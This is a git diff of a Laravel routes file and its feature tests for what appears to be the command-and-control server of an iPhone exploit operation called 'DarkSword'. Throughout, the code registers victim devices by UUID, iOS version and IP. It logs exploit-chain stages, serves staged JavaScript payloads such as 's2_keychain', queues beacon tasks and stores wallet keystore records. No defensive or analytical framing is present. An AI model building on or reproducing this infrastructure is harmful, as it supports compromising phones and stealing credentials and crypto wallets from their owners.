'beacon']); Route::any('/war', [$ds, 'war']); Route::any('/p', [$ds, 'p']); Route::any('/stats', [$ds, 'stats']); + Route::any('/api/ds/log', [$ds, 'log']); -Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']); Route::any('/api/ds/device/register', [$ds, 'register']); Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']); + +Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']); diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index f14b921..046a8ae 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -53,7 +53,7 @@ class DarkSwordC2ApiTest extends TestCase } #[Test] - public function log_with_stage_writes_chain_log_and_dedups(): void + public function log_with_stage_skips_db(): void { $payload = [ 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', @@ -65,31 +65,24 @@ class DarkSwordC2ApiTest extends TestCase $this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']); $this->postJson('/api/ds/log', $payload)->assertOk(); - $this->assertSame(1, DsChainLog::query()->count()); - $row = DsChainLog::query()->first(); - $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid); - $this->assertSame('loader', $row->stage); - $this->assertSame(18, $row->progress); - $this->assertSame('BODOZR5F613N9', $row->channel_id); + $this->assertSame(0, DsChainLog::query()->count()); + $this->assertSame(0, Device::query()->count()); } #[Test] - public function log_infers_stage_and_ignores_noise(): void + public function log_text_skips_db_even_when_stage_can_be_inferred(): void { $this->postJson('/api/ds/log', [ 'text' => 'malloc ok 0x1234', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', ])->assertOk(); - $this->assertSame(0, DsChainLog::query()->count()); - $this->postJson('/api/ds/log', [ 'text' => 'pe_main_start', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', ])->assertOk(); - $row = DsChainLog::query()->first(); - $this->assertNotNull($row); - $this->assertSame('pe', $row->stage); - $this->assertSame(86, $row->progress); + + $this->assertSame(0, DsChainLog::query()->count()); + $this->assertSame(0, Device::query()->count()); } #[Test] @@ -102,13 +95,15 @@ class DarkSwordC2ApiTest extends TestCase 'chain' => 'darksword', ]); - $this->get('/log.html?text=lab') - ->assertOk() - ->assertSee('ok', false); - $this->get('/api/ds/log?text=lab') ->assertOk() ->assertSee('ok', false); + + $this->getJson('/api/chain-targets?ios=18.6')->assertNotFound(); + $this->get('/log.html?text=lab')->assertNotFound(); + $this->getJson('/next-chain/api/chain-targets')->assertNotFound(); + $this->getJson('/next-chain/api/device/register')->assertNotFound(); + $this->get('/next-chain/log.html?text=lab')->assertNotFound(); } #[Test] @@ -116,7 +111,8 @@ class DarkSwordC2ApiTest extends TestCase { $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') ->assertOk() - ->assertSee('ok', false); + ->assertHeader('Content-Type', 'application/javascript; charset=utf-8') + ->assertSee('__peStage1', false); $row = DsChainLog::query()->first(); $this->assertNotNull($row); @@ -133,7 +129,7 @@ class DarkSwordC2ApiTest extends TestCase $this->get('/api/ds/pe-stage/s2_keychain') ->assertOk() - ->assertSee('ok', false); + ->assertSee('__peStage2', false); $this->assertSame(2, DsChainLog::query()->count()); } @@ -150,7 +146,7 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); - $this->assertSame(Device::FAMILY_DARKSWORD, $device->family); + $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame('iPhone15,2', $device->device_model); $this->assertSame('18.6', $device->ios_version); $this->assertSame('192.168.31.77', $device->ip); @@ -170,7 +166,7 @@ class DarkSwordC2ApiTest extends TestCase $xxbb = Device::query()->where('device_id', self::XXBB_D)->first(); $this->assertNotNull($xxbb); - $this->assertSame(Device::FAMILY_CORUNA, $xxbb->family); + $this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain); $this->postJson('/a', [ 'lhu' => self::DS_LHU, @@ -180,7 +176,7 @@ class DarkSwordC2ApiTest extends TestCase $ds = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($ds); - $this->assertSame(Device::FAMILY_DARKSWORD, $ds->family); + $this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain); $this->assertSame(2, Device::query()->count()); } @@ -232,7 +228,7 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first(); $this->assertNotNull($device); - $this->assertSame(Device::FAMILY_DARKSWORD, $device->family); + $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame('BODOZR5F613N9', $device->channel_id); $this->assertSame('18.6', $device->ios_version); } @@ -473,7 +469,7 @@ class DarkSwordC2ApiTest extends TestCase ]); $device = Device::query()->create([ 'device_id' => 'reprocess-trust-utc', - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, ]); WalletKeystore::query()->create([ 'device_id' => $device->id, @@ -600,7 +596,7 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); - $this->assertSame(Device::FAMILY_DARKSWORD, $device->family); + $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame(0, DeviceEvent::query()->count()); $this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count()); $this->assertSame( @@ -708,7 +704,7 @@ class DarkSwordC2ApiTest extends TestCase { $device = Device::query()->create([ 'device_id' => self::DS_LHU, - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, @@ -740,7 +736,7 @@ class DarkSwordC2ApiTest extends TestCase Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, @@ -786,7 +782,7 @@ class DarkSwordC2ApiTest extends TestCase Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, @@ -856,7 +852,7 @@ class DarkSwordC2ApiTest extends TestCase Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, ]); $task = DsBeaconTask::query()->create([ 'device_id' => $device->id,